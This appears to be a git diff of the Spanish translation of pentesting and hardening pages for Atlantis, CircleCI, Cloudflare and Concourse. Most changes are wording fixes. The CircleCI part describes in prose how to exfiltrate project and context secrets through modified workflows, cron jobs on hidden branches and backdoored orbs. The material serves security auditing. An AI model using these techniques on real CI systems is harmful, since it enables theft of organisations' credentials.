tiene acceso de escritura al registro. -3. Modificar el paso `plan` de tu [configuración de repositorio del lado del servidor](https://www.runatlantis.io/docs/server-side-repo-config.html) para validar contra el uso de proveedores o fuentes de datos no permitidos o PRs de usuarios no permitidos. También podrías agregar validación adicional en este punto, por ejemplo, requiriendo un "me gusta" en el PR antes de permitir que el `plan` continúe. Conftest podría ser útil aquí. +1. Incluir proveedores en la imagen de Atlantis o alojar y negar la salida en producción. +2. Implementar el protocolo de registro de proveedores internamente y negar la salida pública, de esa manera controlas quién tiene acceso de escritura al registro. +3. Modificar el paso `plan` de tu [configuración de repositorio del lado del servidor](https://www.runatlantis.io/docs/server-side-repo-config.html) para validar contra el uso de proveedores o fuentes de datos no permitidos o PRs de usuarios no autorizados. También podrías agregar validación adicional en este punto, por ejemplo, requiriendo un "me gusta" en el PR antes de permitir que el `plan` continúe. Conftest podría ser útil aquí. -#### Webhook Secrets +#### Secretos de Webhook -Atlantis debe ejecutarse con los secretos de Webhook establecidos a través de las variables de entorno `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Incluso con la bandera `--repo-allowlist` establecida, sin un webhook secret, los atacantes podrían hacer solicitudes a Atlantis haciéndose pasar por un repositorio que está en la lista permitida. Los secretos de Webhook aseguran que las solicitudes de webhook provengan realmente de tu proveedor de VCS (GitHub o GitLab). +Atlantis debe ejecutarse con secretos de Webhook establecidos a través de las variables de entorno `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Incluso con la bandera `--repo-allowlist` establecida, sin un secreto de webhook, los atacantes podrían hacer solicitudes a Atlantis haciéndose pasar por un repositorio que está en la lista permitida. Los secretos de webhook aseguran que las solicitudes de webhook provengan realmente de tu proveedor de VCS (GitHub o GitLab). Si estás utilizando Azure DevOps, en lugar de secretos de webhook, agrega un nombre de usuario y una contraseña básicos. -#### Azure DevOps Basic Authentication +#### Autenticación Básica de Azure DevOps -Azure DevOps admite el envío de un encabezado de autenticación básica en todos los eventos de webhook. Esto requiere usar una URL HTTPS para tu ubicación de webhook. +Azure DevOps admite el envío de un encabezado de autenticación básica en todos los eventos de webhook. Esto requiere usar una URL HTTPS para la ubicación de tu webhook. #### SSL/HTTPS Si estás utilizando secretos de webhook pero tu tráfico es a través de HTTP, entonces los secretos de webhook podrían ser robados. Habilita SSL/HTTPS utilizando las banderas `--ssl-cert-file` y `--ssl-key-file`. -#### Enable Authentication on Atlantis Web Server +#### Habilitar Autenticación en el Servidor Web de Atlantis Se recomienda encarecidamente habilitar la autenticación en el servicio web. Habilita BasicAuth utilizando `--web-basic-auth=true` y configura un nombre de usuario y una contraseña utilizando las banderas `--web-username=yourUsername` y `--web-password=yourPassword`. También puedes pasar estos como variables de entorno `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` y `ATLANTIS_WEB_PASSWORD=yourPassword`. -### References +### Referencias - [**https://www.runatlantis.io/docs**](https://www.runatlantis.io/docs) - [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html) diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md index c2dd5b0d4..2c0936a34 100644 --- a/src/pentesting-ci-cd/circleci-security.md +++ b/src/pentesting-ci-cd/circleci-security.md @@ -1,4 +1,4 @@ -# CircleCI Security +# Seguridad de CircleCI {{#include ../banners/hacktricks-training.md}} @@ -39,7 +39,7 @@ command: echo $SECRET environment: SECRET: A secret ``` -Puedes declararlos en texto claro dentro del **entorno de trabajo de construcción**: +Puedes declararlos en texto claro dentro del **entorno del trabajo de construcción**: ```yaml jobs: build-job: @@ -85,17 +85,17 @@ Si tienes **acceso al VCS** (como github), revisa el archivo `.circleci/config.y #### Enumeración de Variables de Entorno Secretas y Contexto -Revisando el código puedes encontrar **todos los nombres de los secretos** que están siendo **utilizados** en cada archivo `.circleci/config.yml`. También puedes obtener los **nombres de contexto** de esos archivos o verificarlos en la consola web: _https://app.circleci.com/settings/organization/github/\/contexts_. +Revisando el código puedes encontrar **todos los nombres de los secretos** que están siendo **utilizados** en cada archivo `.circleci/config.yml`. También puedes obtener los **nombres de contexto** de esos archivos o revisarlos en la consola web: _https://app.circleci.com/settings/organization/github/\/contexts_. #### Exfiltrar Secretos del Proyecto > [!WARNING] -> Para **exfiltrar TODOS** los **SECRETOS** del proyecto y del contexto, **solo** necesitas tener acceso **de ESCRITURA** a **solo 1 repo** en toda la organización de github (_y tu cuenta debe tener acceso a los contextos, pero por defecto todos pueden acceder a cada contexto_). +> Para **exfiltrar TODOS** los **SECRETOS** del proyecto y del contexto, **solo** necesitas tener acceso de **ESCRITURA** a **solo 1 repo** en toda la organización de github (_y tu cuenta debe tener acceso a los contextos, pero por defecto todos pueden acceder a cada contexto_). > [!CAUTION] > La funcionalidad de "**Importar Variables**" permite **importar variables de otros proyectos** a este. Por lo tanto, un atacante podría **importar todas las variables del proyecto de todos los repos** y luego **exfiltrar todas juntas**. -Todos los secretos del proyecto siempre se establecen en el entorno de los trabajos, por lo que solo llamar a env y ofuscarlo en base64 exfiltrará los secretos en la **consola de registro web de workflows**: +Todos los secretos del proyecto siempre se establecen en el entorno de los trabajos, por lo que solo llamar a env y ofuscarlo en base64 exfiltrará los secretos en la **consola de registro web de los flujos de trabajo**: ```yaml version: 2.1 @@ -163,7 +163,7 @@ jobs: - exfil-env: context: Test-Context ``` -Si **no tienes acceso a la consola web** pero tienes **acceso al repositorio** y sabes que se utiliza CircleCI, puedes **modificar un flujo de trabajo** que se **activa cada minuto** y que **exfiltra los secretos a una dirección externa**: +Si **no tienes acceso a la consola web** pero tienes **acceso al repositorio** y sabes que se utiliza CircleCI, puedes simplemente **modificar un flujo de trabajo** que se **activa cada minuto** y que **exfiltra los secretos a una dirección externa**: ```yaml version: 2.1 @@ -194,10 +194,10 @@ context: Test-Context > [!WARNING] > Simplemente crear un nuevo `.circleci/config.yml` en un repositorio **no es suficiente para activar una construcción de circleci**. Necesitas **habilitarlo como un proyecto en la consola de circleci**. -#### Escape a la Nube +#### Escape to Cloud **CircleCI** te da la opción de ejecutar **tus construcciones en sus máquinas o en las tuyas**.\ -Por defecto, sus máquinas están ubicadas en GCP, y al principio no podrás encontrar nada relevante. Sin embargo, si una víctima está ejecutando las tareas en **sus propias máquinas (potencialmente, en un entorno de nube)**, podrías encontrar un **punto final de metadatos de nube con información interesante**. +Por defecto, sus máquinas están ubicadas en GCP, y al principio no podrás encontrar nada relevante. Sin embargo, si una víctima está ejecutando las tareas en **sus propias máquinas (potencialmente, en un entorno en la nube)**, podrías encontrar un **punto final de metadatos en la nube con información interesante**. Ten en cuenta que en los ejemplos anteriores se lanzó todo dentro de un contenedor de docker, pero también puedes **pedir que se lance una máquina VM** (que puede tener diferentes permisos en la nube): ```yaml @@ -221,15 +221,15 @@ version: 19.03.13 ``` #### Persistencia -- Es posible **crear** **tokens de usuario en CircleCI** para acceder a los endpoints de la API con el acceso del usuario. +- Es posible **crear** **tokens de usuario en CircleCI** para acceder a los endpoints de la API con el acceso de los usuarios. - _https://app.circleci.com/settings/user/tokens_ - Es posible **crear tokens de proyectos** para acceder al proyecto con los permisos otorgados al token. - _https://app.circleci.com/settings/project/github/\/\/api_ - Es posible **agregar claves SSH** a los proyectos. - _https://app.circleci.com/settings/project/github/\/\/ssh_ - Es posible **crear un trabajo cron en una rama oculta** en un proyecto inesperado que está **filtrando** todas las variables de **contexto env** todos los días. -- O incluso crear en una rama / modificar un trabajo conocido que **filtrará** todo el contexto y los **secretos de proyectos** todos los días. -- Si eres un propietario de github, puedes **permitir orbes no verificados** y configurar uno en un trabajo como **puerta trasera**. +- O incluso crear en una rama / modificar un trabajo conocido que **filtrará** todo el contexto y los **secretos de los proyectos** todos los días. +- Si eres un propietario de github, puedes **permitir orbs no verificados** y configurar uno en un trabajo como **puerta trasera**. - Puedes encontrar una **vulnerabilidad de inyección de comandos** en alguna tarea e **inyectar comandos** a través de un **secreto** modificando su valor. {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index 0eb315f92..08e905c3b 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -1,4 +1,4 @@ -# Cloudflare Security +# Seguridad de Cloudflare {{#include ../../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ En una cuenta de Cloudflare hay algunas **configuraciones y servicios generales*
-## Websites +## Sitios web Revisa cada uno con: @@ -14,9 +14,9 @@ Revisa cada uno con: cloudflare-domains.md {{#endref}} -### Domain Registration +### Registro de Dominio -- [ ] En **`Transfer Domains`** verifica que no sea posible transferir ningún dominio. +- [ ] En **`Transferir Dominios`** verifica que no sea posible transferir ningún dominio. Revisa cada uno con: @@ -24,20 +24,20 @@ Revisa cada uno con: cloudflare-domains.md {{#endref}} -## Analytics +## Análisis _No pude encontrar nada para revisar la configuración de seguridad._ -## Pages +## Páginas En cada página de Cloudflare: -- [ ] Verifica si hay **información sensible** en el **`Build log`**. +- [ ] Verifica si hay **información sensible** en el **`Registro de construcción`**. - [ ] Verifica si hay **información sensible** en el **repositorio de Github** asignado a las páginas. - [ ] Verifica posibles compromisos del repositorio de github a través de **inyección de comandos de flujo de trabajo** o compromiso de `pull_request_target`. Más información en la [**página de Seguridad de Github**](../github-security/). - [ ] Verifica si hay **funciones vulnerables** en el directorio `/fuctions` (si las hay), verifica los **redireccionamientos** en el archivo `_redirects` (si los hay) y los **encabezados mal configurados** en el archivo `_headers` (si los hay). - [ ] Verifica si hay **vulnerabilidades** en la **página web** a través de **blackbox** o **whitebox** si puedes **acceder al código**. -- [ ] En los detalles de cada página `//pages/view/blocklist/settings/functions`. Verifica si hay **información sensible** en las **`Environment variables`**. +- [ ] En los detalles de cada página `//pages/view/blocklist/settings/functions`. Verifica si hay **información sensible** en las **`Variables de entorno`**. - [ ] En la página de detalles verifica también el **comando de construcción** y el **directorio raíz** en busca de **inyecciones potenciales** que comprometan la página. ## **Workers** @@ -45,10 +45,10 @@ En cada página de Cloudflare: En cada worker de Cloudflare verifica: - [ ] Los disparadores: ¿Qué hace que el worker se active? ¿Puede un **usuario enviar datos** que serán **utilizados** por el worker? -- [ ] En los **`Settings`**, verifica si hay **`Variables`** que contengan **información sensible**. +- [ ] En los **`Ajustes`**, verifica si hay **`Variables`** que contengan **información sensible**. - [ ] Verifica el **código del worker** y busca **vulnerabilidades** (especialmente en lugares donde el usuario puede gestionar la entrada). - Verifica SSRFs que devuelvan la página indicada que puedes controlar. -- Verifica XSSs ejecutando JS dentro de una imagen svg. +- Verifica XSSs que ejecuten JS dentro de una imagen svg. - Es posible que el worker interactúe con otros servicios internos. Por ejemplo, un worker puede interactuar con un bucket R2 que almacena información obtenida de la entrada. En ese caso, sería necesario verificar qué capacidades tiene el worker sobre el bucket R2 y cómo podría ser abusado a partir de la entrada del usuario. > [!WARNING] @@ -58,19 +58,19 @@ En cada worker de Cloudflare verifica: En cada bucket R2 verifica: -- [ ] Configura la **CORS Policy**. +- [ ] Configura la **Política de CORS**. ## Stream TODO -## Images +## Imágenes TODO -## Security Center +## Centro de Seguridad -- [ ] Si es posible, ejecuta un **`Security Insights`** **scan** y un **`Infrastructure`** **scan**, ya que **destacarán** información interesante desde el punto de vista de **seguridad**. +- [ ] Si es posible, ejecuta un **escaneo de `Insights de Seguridad`** y un **escaneo de `Infraestructura`**, ya que **destacarán** información interesante desde el punto de vista de la **seguridad**. - [ ] Solo **verifica esta información** en busca de configuraciones de seguridad incorrectas e información interesante. ## Turnstile @@ -83,52 +83,52 @@ TODO cloudflare-zero-trust-network.md {{#endref}} -## Bulk Redirects +## Redireccionamientos Masivos > [!NOTE] -> A diferencia de [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) son esencialmente estáticos: no **soportan ninguna operación de reemplazo de cadenas** ni expresiones regulares. Sin embargo, puedes configurar parámetros de redirección de URL que afectan su comportamiento de coincidencia de URL y su comportamiento en tiempo de ejecución. +> A diferencia de [Redireccionamientos Dinámicos](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Redireccionamientos Masivos**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) son esencialmente estáticos: no **admiten ninguna operación de reemplazo de cadenas** ni expresiones regulares. Sin embargo, puedes configurar parámetros de redireccionamiento de URL que afectan su comportamiento de coincidencia de URL y su comportamiento en tiempo de ejecución. -- [ ] Verifica que las **expresiones** y **requisitos** para las redirecciones **tengan sentido**. -- [ ] Verifica también si hay **endpoints ocultos sensibles** que contengan información interesante. +- [ ] Verifica que las **expresiones** y **requisitos** para los redireccionamientos **tengan sentido**. +- [ ] Verifica también si hay **puntos finales ocultos sensibles** que contengan información interesante. -## Notifications +## Notificaciones -- [ ] Verifica las **notificaciones.** Estas notificaciones son recomendadas para seguridad: -- `Usage Based Billing` -- `HTTP DDoS Attack Alert` -- `Layer 3/4 DDoS Attack Alert` -- `Advanced HTTP DDoS Attack Alert` -- `Advanced Layer 3/4 DDoS Attack Alert` -- `Flow-based Monitoring: Volumetric Attack` -- `Route Leak Detection Alert` -- `Access mTLS Certificate Expiration Alert` -- `SSL for SaaS Custom Hostnames Alert` -- `Universal SSL Alert` -- `Script Monitor New Code Change Detection Alert` -- `Script Monitor New Domain Alert` -- `Script Monitor New Malicious Domain Alert` -- `Script Monitor New Malicious Script Alert` -- `Script Monitor New Malicious URL Alert` -- `Script Monitor New Scripts Alert` -- `Script Monitor New Script Exceeds Max URL Length Alert` -- `Advanced Security Events Alert` -- `Security Events Alert` +- [ ] Verifica las **notificaciones.** Estas notificaciones son recomendadas para la seguridad: +- `Facturación Basada en Uso` +- `Alerta de Ataque DDoS HTTP` +- `Alerta de Ataque DDoS Capa 3/4` +- `Alerta de Ataque DDoS HTTP Avanzado` +- `Alerta de Ataque DDoS Capa 3/4 Avanzado` +- `Monitoreo Basado en Flujo: Ataque Volumétrico` +- `Alerta de Detección de Fugas de Ruta` +- `Alerta de Expiración de Certificado mTLS de Acceso` +- `Alerta de SSL para Nombres de Host Personalizados de SaaS` +- `Alerta de SSL Universal` +- `Alerta de Detección de Nuevos Cambios de Código en el Monitor de Scripts` +- `Alerta de Nuevo Dominio en el Monitor de Scripts` +- `Alerta de Nuevo Dominio Malicioso en el Monitor de Scripts` +- `Alerta de Nuevo Script Malicioso en el Monitor de Scripts` +- `Alerta de Nueva URL Maliciosa en el Monitor de Scripts` +- `Alerta de Nuevos Scripts en el Monitor de Scripts` +- `Alerta de Nuevo Script Excede la Longitud Máxima de URL en el Monitor de Scripts` +- `Alerta de Eventos de Seguridad Avanzados` +- `Alerta de Eventos de Seguridad` - [ ] Verifica todos los **destinos**, ya que podría haber **información sensible** (autenticación http básica) en las URLs de webhook. Asegúrate también de que las URLs de webhook usen **HTTPS**. - [ ] Como verificación adicional, podrías intentar **suplantar una notificación de cloudflare** a un tercero, tal vez puedas **inyectar algo peligroso** de alguna manera. -## Manage Account +## Gestionar Cuenta -- [ ] Es posible ver los **últimos 4 dígitos de la tarjeta de crédito**, el **tiempo de expiración** y la **dirección de facturación** en **`Billing` -> `Payment info`**. -- [ ] Es posible ver el **tipo de plan** utilizado en la cuenta en **`Billing` -> `Subscriptions`**. -- [ ] En **`Members`** es posible ver todos los miembros de la cuenta y su **rol**. Ten en cuenta que si el tipo de plan no es Enterprise, solo existen 2 roles: Administrador y Super Administrador. Pero si el **plan utilizado es Enterprise**, se pueden usar [**más roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) para seguir el principio de menor privilegio. +- [ ] Es posible ver los **últimos 4 dígitos de la tarjeta de crédito**, el **tiempo de expiración** y la **dirección de facturación** en **`Facturación` -> `Información de pago`**. +- [ ] Es posible ver el **tipo de plan** utilizado en la cuenta en **`Facturación` -> `Suscripciones`**. +- [ ] En **`Miembros`** es posible ver todos los miembros de la cuenta y su **rol**. Ten en cuenta que si el tipo de plan no es Enterprise, solo existen 2 roles: Administrador y Super Administrador. Pero si el **plan utilizado es Enterprise**, se pueden usar [**más roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) para seguir el principio de menor privilegio. - Por lo tanto, siempre que sea posible, se **recomienda** utilizar el **plan Enterprise**. -- [ ] En Members es posible verificar qué **miembros** tienen **2FA habilitado**. **Cada** usuario debería tenerlo habilitado. +- [ ] En Miembros es posible verificar qué **miembros** tienen **2FA habilitado**. **Cada** usuario debería tenerlo habilitado. > [!NOTE] -> Ten en cuenta que afortunadamente el rol **`Administrator`** no otorga permisos para gestionar membresías (**no puede escalar privilegios ni invitar** nuevos miembros). +> Ten en cuenta que afortunadamente el rol **`Administrador`** no otorga permisos para gestionar membresías (**no puede escalar privilegios ni invitar** nuevos miembros). -## DDoS Investigation +## Investigación de DDoS -[Revisa esta parte](cloudflare-domains.md#cloudflare-ddos-protection). +[Ver esta parte](cloudflare-domains.md#cloudflare-ddos-protection). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md index 58954786f..bbb49986c 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md @@ -1,4 +1,4 @@ -# Cloudflare Domains +# Dominios de Cloudflare {{#include ../../banners/hacktricks-training.md}} @@ -6,42 +6,42 @@ En cada TLD configurado en Cloudflare hay algunas **configuraciones y servicios
-### Overview +### Resumen -- [ ] Obtener una idea de **cuánto** se están **usando** los servicios de la cuenta +- [ ] Tener una idea de **cuánto** se están **usando** los servicios de la cuenta - [ ] Encontrar también el **ID de zona** y el **ID de cuenta** -### Analytics +### Analítica -- [ ] En **`Security`** verificar si hay alguna **Limitación de tasa** +- [ ] En **`Seguridad`** verificar si hay alguna **limitación de tasa** ### DNS -- [ ] Verificar datos **interesantes** (¿sensibles?) en los **registros** DNS +- [ ] Verificar datos **interesantes** (¿sensibles?) en los **registros** de DNS - [ ] Verificar **subdominios** que podrían contener **información sensible** solo basándose en el **nombre** (como admin173865324.domin.com) - [ ] Verificar páginas web que **no están** **protegidas** - [ ] Verificar **páginas web protegidas** que pueden ser **accedidas directamente** por CNAME o dirección IP -- [ ] Verificar que **DNSSEC** esté **habilitado** -- [ ] Verificar que **CNAME Flattening** esté **usado** en **todos los CNAMEs** +- [ ] Verificar que **DNSSEC** está **habilitado** +- [ ] Verificar que **CNAME Flattening** está **usado** en **todos los CNAMEs** - Esto podría ser útil para **ocultar vulnerabilidades de toma de subdominio** y mejorar los tiempos de carga -- [ ] Verificar que los dominios [**no sean vulnerables a suplantación**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) +- [ ] Verificar que los dominios [**no son vulnerables a suplantación**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) -### **Email** +### **Correo Electrónico** TODO -### Spectrum +### Espectro TODO ### SSL/TLS -#### **Overview** +#### **Resumen** - [ ] La **encriptación SSL/TLS** debe ser **Completa** o **Completa (Estricto)**. Cualquier otra enviará **tráfico en texto claro** en algún momento. -- [ ] El **Recomendador SSL/TLS** debe estar habilitado +- [ ] El **Recomendador de SSL/TLS** debe estar habilitado -#### Edge Certificates +#### Certificados de Edge - [ ] **Siempre usar HTTPS** debe estar **habilitado** - [ ] **HTTP Strict Transport Security (HSTS)** debe estar **habilitado** @@ -50,77 +50,77 @@ TODO - [ ] **Reescrituras automáticas de HTTPS** deben estar **habilitadas** - [ ] **Monitoreo de transparencia de certificados** debe estar **habilitado** -### **Security** +### **Seguridad** -- [ ] En la sección **`WAF`** es interesante verificar que se **utilizan reglas de Firewall** y **limitación de tasa** para prevenir abusos. -- La acción **`Bypass`** **desactivará las** características de seguridad de Cloudflare para una solicitud. No debería ser utilizada. -- [ ] En la sección **`Page Shield`** se recomienda verificar que esté **habilitado** si se utiliza alguna página -- [ ] En la sección **`API Shield`** se recomienda verificar que esté **habilitado** si alguna API está expuesta en Cloudflare +- [ ] En la sección **`WAF`** es interesante verificar que se están **usando reglas de Firewall** y **limitación de tasa** para prevenir abusos. +- La acción **`Bypass`** **desactivará las características de seguridad** de Cloudflare para una solicitud. No debería ser utilizada. +- [ ] En la sección **`Page Shield`** se recomienda verificar que está **habilitado** si se utiliza alguna página +- [ ] En la sección **`API Shield`** se recomienda verificar que está **habilitado** si alguna API está expuesta en Cloudflare - [ ] En la sección **`DDoS`** se recomienda habilitar las **protecciones DDoS** -- [ ] En la sección **`Settings`**: -- [ ] Verificar que el **`Nivel de Seguridad`** sea **medio** o mayor -- [ ] Verificar que el **`Tiempo de Desafío`** sea de 1 hora como máximo -- [ ] Verificar que la **`Verificación de Integridad del Navegador`** esté **habilitada** -- [ ] Verificar que el **`Soporte de Privacy Pass`** esté **habilitado** +- [ ] En la sección **`Configuraciones`**: +- [ ] Verificar que el **`Nivel de Seguridad`** es **medio** o mayor +- [ ] Verificar que el **`Tiempo de Desafío`** es de 1 hora como máximo +- [ ] Verificar que la **`Verificación de Integridad del Navegador`** está **habilitada** +- [ ] Verificar que el **`Soporte de Privacy Pass`** está **habilitado** -#### **CloudFlare DDoS Protection** +#### **Protección DDoS de CloudFlare** - Si puedes, habilita **Bot Fight Mode** o **Super Bot Fight Mode**. Si estás protegiendo alguna API accesada programáticamente (desde una página de frontend JS, por ejemplo). Puede que no puedas habilitar esto sin romper ese acceso. -- En **WAF**: Puedes crear **límites de tasa por ruta URL** o para **bots verificados** (reglas de limitación de tasa), o para **bloquear acceso** basado en IP, Cookie, referidor...). Así que podrías bloquear solicitudes que no provengan de una página web o que no tengan una cookie. +- En **WAF**: Puedes crear **límites de tasa por ruta de URL** o para **bots verificados** (reglas de limitación de tasa), o para **bloquear acceso** basado en IP, Cookie, referidor...). Así que podrías bloquear solicitudes que no provengan de una página web o que no tengan una cookie. - Si el ataque es de un **bot verificado**, al menos **agrega un límite de tasa** a los bots. - Si el ataque es a una **ruta específica**, como mecanismo de prevención, agrega un **límite de tasa** en esta ruta. - También puedes **blanquear** direcciones IP, rangos de IP, países o ASN desde las **Herramientas** en WAF. - Verifica si las **Reglas gestionadas** también podrían ayudar a prevenir explotaciones de vulnerabilidades. - En la sección **Herramientas** puedes **bloquear o dar un desafío a IPs** y **agentes de usuario** específicos. -- En DDoS podrías **sobrescribir algunas reglas para hacerlas más restrictivas**. -- **Configuraciones**: Establecer el **Nivel de Seguridad** en **Alto** y en **Bajo Ataque** si estás Bajo Ataque y que la **Verificación de Integridad del Navegador esté habilitada**. -- En Cloudflare Domains -> Analytics -> Security -> Verificar si **la limitación de tasa** está habilitada -- En Cloudflare Domains -> Security -> Events -> Verificar si hay **Eventos maliciosos detectados** +- En DDoS podrías **anular algunas reglas para hacerlas más restrictivas**. +- **Configuraciones**: Establece el **Nivel de Seguridad** en **Alto** y en **Bajo Ataque** si estás Bajo Ataque y que la **Verificación de Integridad del Navegador está habilitada**. +- En Dominios de Cloudflare -> Analítica -> Seguridad -> Verifica si la **limitación de tasa** está habilitada +- En Dominios de Cloudflare -> Seguridad -> Eventos -> Verifica si hay **Eventos maliciosos detectados** -### Access +### Acceso {{#ref}} cloudflare-zero-trust-network.md {{#endref}} -### Speed +### Velocidad _No pude encontrar ninguna opción relacionada con la seguridad_ -### Caching +### Caché -- [ ] En la sección **`Configuration`** considera habilitar la **Herramienta de Escaneo CSAM** +- [ ] En la sección **`Configuración`** considera habilitar la **Herramienta de Escaneo de CSAM** -### **Workers Routes** +### **Rutas de Workers** _Ya deberías haber revisado_ [_cloudflare workers_](./#workers) -### Rules +### Reglas TODO -### Network +### Red -- [ ] Si **`HTTP/2`** está **habilitado**, **`HTTP/2 to Origin`** debe estar **habilitado** +- [ ] Si **`HTTP/2`** está **habilitado**, **`HTTP/2 a Origen`** debe estar **habilitado** - [ ] **`HTTP/3 (con QUIC)`** debe estar **habilitado** - [ ] Si la **privacidad** de tus **usuarios** es importante, asegúrate de que **`Onion Routing`** esté **habilitado** -### **Traffic** +### **Tráfico** TODO -### Custom Pages +### Páginas Personalizadas - [ ] Es opcional configurar páginas personalizadas cuando se activa un error relacionado con la seguridad (como un bloqueo, limitación de tasa o estoy en modo de ataque) -### Apps +### Aplicaciones TODO ### Scrape Shield -- [ ] Verificar que la **Ofuscación de Direcciones de Correo Electrónico** esté **habilitada** -- [ ] Verificar que los **Excluidos del lado del servidor** estén **habilitados** +- [ ] Verificar que la **Ofuscación de Direcciones de Correo Electrónico** está **habilitada** +- [ ] Verificar que los **Excluidos del lado del servidor** están **habilitados** ### **Zaraz** diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md index 773ebda48..0b4903442 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md @@ -23,12 +23,12 @@ En una cuenta de **Cloudflare Zero Trust Network** hay algunas **configuraciones En cada aplicación: - [ ] Verificar **quién** puede acceder a la aplicación en las **Policies** y asegurarse de que **solo** los **usuarios** que **necesitan acceso** a la aplicación puedan acceder. -- Para permitir el acceso se van a utilizar **`Access Groups`** (y también se pueden establecer **reglas adicionales**) -- [ ] Verificar que los **proveedores de identidad disponibles** no sean **demasiado abiertos** +- Para permitir el acceso se van a utilizar **`Access Groups`** (y se pueden establecer **reglas adicionales** también) +- [ ] Verificar los **proveedores de identidad disponibles** y asegurarse de que **no sean demasiado abiertos** - [ ] En **`Settings`**: - [ ] Verificar que **CORS no esté habilitado** (si está habilitado, verificar que sea **seguro** y que no esté permitiendo todo) - [ ] Las cookies deben tener el atributo **Strict Same-Site**, **HTTP Only** y **binding cookie** debe estar **habilitado** si la aplicación es HTTP. -- [ ] Considerar habilitar también **Browser rendering** para mejor **protección. Más información sobre** [**aislamiento de navegador remoto aquí**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** +- [ ] Considerar habilitar también **Browser rendering** para mejor **protección. Más información sobre** [**remote browser isolation aquí**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** #### **Access Groups** @@ -50,7 +50,7 @@ TODO ### Logs -- [ ] Podrías buscar **acciones inesperadas** de los usuarios +- [ ] Podría buscar **acciones inesperadas** de los usuarios ### Settings diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md index 260e3a5b0..352ea2251 100644 --- a/src/pentesting-ci-cd/concourse-security/README.md +++ b/src/pentesting-ci-cd/concourse-security/README.md @@ -1,4 +1,4 @@ -# Concourse Security +# Seguridad de Concourse {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md index e02b37817..cba79133d 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md @@ -1,12 +1,12 @@ -# Concourse Architecture +# Arquitectura de Concourse -## Concourse Architecture +## Arquitectura de Concourse {{#include ../../banners/hacktricks-training.md}} [**Datos relevantes de la documentación de Concourse:**](https://concourse-ci.org/internals.html) -### Architecture +### Arquitectura ![](<../../images/image (187).png>) @@ -14,24 +14,24 @@ El ATC es el corazón de Concourse. Ejecuta la **interfaz web y API** y es responsable de toda la **programación** de pipelines. Se **conecta a PostgreSQL**, que utiliza para almacenar datos de pipelines (incluidos los registros de compilación). -La responsabilidad del [checker](https://concourse-ci.org/checker.html) es verificar continuamente si hay nuevas versiones de recursos. El [scheduler](https://concourse-ci.org/scheduler.html) es responsable de programar compilaciones para un trabajo y el [build tracker](https://concourse-ci.org/build-tracker.html) es responsable de ejecutar cualquier compilación programada. El [garbage collector](https://concourse-ci.org/garbage-collector.html) es el mecanismo de limpieza para eliminar cualquier objeto no utilizado o desactualizado, como contenedores y volúmenes. +La responsabilidad del [checker](https://concourse-ci.org/checker.html) es verificar continuamente nuevas versiones de recursos. El [scheduler](https://concourse-ci.org/scheduler.html) es responsable de programar compilaciones para un trabajo y el [build tracker](https://concourse-ci.org/build-tracker.html) es responsable de ejecutar cualquier compilación programada. El [garbage collector](https://concourse-ci.org/garbage-collector.html) es el mecanismo de limpieza para eliminar cualquier objeto no utilizado o desactualizado, como contenedores y volúmenes. #### TSA: registro de trabajadores y reenvío -El TSA es un **servidor SSH construido a medida** que se utiliza únicamente para **registrar** de forma segura a los [**trabajadores**](https://concourse-ci.org/internals.html#architecture-worker) con el [ATC](https://concourse-ci.org/internals.html#component-atc). +La TSA es un **servidor SSH construido a medida** que se utiliza únicamente para **registrar** de forma segura a los [**trabajadores**](https://concourse-ci.org/internals.html#architecture-worker) con el [ATC](https://concourse-ci.org/internals.html#component-atc). -El TSA por **defecto escucha en el puerto `2222`**, y generalmente está colocalizado con el [ATC](https://concourse-ci.org/internals.html#component-atc) y detrás de un balanceador de carga. +La TSA por **defecto escucha en el puerto `2222`**, y generalmente se encuentra junto al [ATC](https://concourse-ci.org/internals.html#component-atc) y detrás de un balanceador de carga. -El **TSA implementa CLI a través de la conexión SSH,** soportando [**estos comandos**](https://concourse-ci.org/internals.html#component-tsa). +La **TSA implementa CLI a través de la conexión SSH,** soportando [**estos comandos**](https://concourse-ci.org/internals.html#component-tsa). -#### Workers +#### Trabajadores 